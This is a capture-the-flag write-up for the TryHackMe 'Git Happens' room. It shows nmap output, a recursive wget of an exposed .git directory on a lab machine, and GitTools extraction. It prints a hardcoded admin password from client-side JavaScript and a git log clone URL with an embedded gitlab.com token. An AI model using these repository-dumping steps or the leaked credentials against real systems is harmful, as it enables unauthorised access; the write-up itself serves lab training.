mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-10 14:44:20 +00:00
110 lines
4.4 KiB
Markdown
110 lines
4.4 KiB
Markdown
|
# TryHackMe-Git Happens
|
|||
|
|
|
|||
|
|
## NMAP
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-08 20:16 PKT
|
|||
|
|
Nmap scan report for 10.10.116.239
|
|||
|
|
Host is up (0.16s latency).
|
|||
|
|
Not shown: 999 closed ports
|
|||
|
|
PORT STATE SERVICE VERSION
|
|||
|
|
80/tcp open http nginx 1.14.0 (Ubuntu)
|
|||
|
|
| http-git:
|
|||
|
|
| 10.10.116.239:80/.git/
|
|||
|
|
| Git repository found!
|
|||
|
|
|_ Repository description: Unnamed repository; edit this file 'description' to name the...
|
|||
|
|
|_http-server-header: nginx/1.14.0 (Ubuntu)
|
|||
|
|
|_http-title: Super Awesome Site!
|
|||
|
|
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
|||
|
|
|
|||
|
|
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
|||
|
|
Nmap done: 1 IP address (1 host up) scanned in 25.52 seconds
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
## PORT 80
|
|||
|
|
|
|||
|
|
We found `/.git/`
|
|||
|
|
|
|||
|
|
<img src="https://imgur.com/CZXdc27.png"/>
|
|||
|
|
|
|||
|
|
Use wget to recursively download all git files on your local machines so you can view them easily
|
|||
|
|
|
|||
|
|
`wget -r http://10.10.116.239/.git/`
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
2020-11-08 20:29:57 (2.30 MB/s) - ‘10.10.116.239/.git/refs/heads/master’ saved [41/41]
|
|||
|
|
|
|||
|
|
--2020-11-08 20:29:57-- http://10.10.116.239/.git/logs/refs/heads/master
|
|||
|
|
Reusing existing connection to 10.10.116.239:80.
|
|||
|
|
HTTP request sent, awaiting response... 200 OK
|
|||
|
|
Length: 216 [application/octet-stream]
|
|||
|
|
Saving to: ‘10.10.116.239/.git/logs/refs/heads/master’
|
|||
|
|
|
|||
|
|
10.10.116.239/.git/logs/refs 100%[===========================================>] 216 --.-KB/s in 0s
|
|||
|
|
|
|||
|
|
2020-11-08 20:29:57 (13.0 MB/s) - ‘10.10.116.239/.git/logs/refs/heads/master’ saved [216/216]
|
|||
|
|
|
|||
|
|
FINISHED --2020-11-08 20:29:57--
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
We find somthing interesting
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
root@kali:~/TryHackMe/Easy/Git Happens/git files/logs# cat HEAD
|
|||
|
|
0000000000000000000000000000000000000000 d0b3578a628889f38c0affb1b75457146a4678e5 root <root@ubuntu.(none)> 1595543975 +0200 clone: from https://hydragyrum:kMhJnM42EHdTN7MXNWeD@gitlab.com/cfe-atc/seccom/git-fail.git
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
But I can't crack the SHA-1 hash
|
|||
|
|
|
|||
|
|
## GitTools
|
|||
|
|
|
|||
|
|
I then came across gittools that may dump from a remote location and then can extract useful information from the files
|
|||
|
|
|
|||
|
|
### Dumper
|
|||
|
|
<img src="https://imgur.com/8pxycEZ.png"/>
|
|||
|
|
|
|||
|
|
### Extractor
|
|||
|
|
<img src="https://imgur.com/eDinwXb.png"/>
|
|||
|
|
|
|||
|
|
Here we can find `index.html`
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
root@kali:~/TryHackMe/Easy/Git/temp/8-395e087334d613d5e423cdf8f7be27196a360459# ls -al
|
|||
|
|
total 28
|
|||
|
|
drwxr-xr-x 3 root root 4096 Nov 8 21:36 .
|
|||
|
|
drwxr-xr-x 11 root root 4096 Nov 8 21:36 ..
|
|||
|
|
-rw-r--r-- 1 root root 241 Nov 8 21:36 commit-meta.txt
|
|||
|
|
drwxr-xr-x 2 root root 4096 Nov 8 21:36 css
|
|||
|
|
-rw-r--r-- 1 root root 677 Nov 8 21:36 dashboard.html
|
|||
|
|
-rw-r--r-- 1 root root 2667 Nov 8 21:36 index.html
|
|||
|
|
-rw-r--r-- 1 root root 54 Nov 8 21:36 README.md
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
And we will get the password
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<script>
|
|||
|
|
function login() {
|
|||
|
|
let form = document.getElementById("login-form");
|
|||
|
|
console.log(form.elements);
|
|||
|
|
let username = form.elements["username"].value;
|
|||
|
|
let password = form.elements["password"].value;
|
|||
|
|
if (
|
|||
|
|
username === "admin" &&
|
|||
|
|
password === "Th1s_1s_4_L0ng_4nd_S3cur3_P4ssw0rd!"
|
|||
|
|
) {
|
|||
|
|
document.cookie = "login=1";
|
|||
|
|
window.location.href = "/dashboard.html";
|
|||
|
|
} else {
|
|||
|
|
document.getElementById("error").innerHTML =
|
|||
|
|
"INVALID USERNAME OR PASSWORD!";
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
</script>
|
|||
|
|
</body>
|
|||
|
|
|
|||
|
|
```
|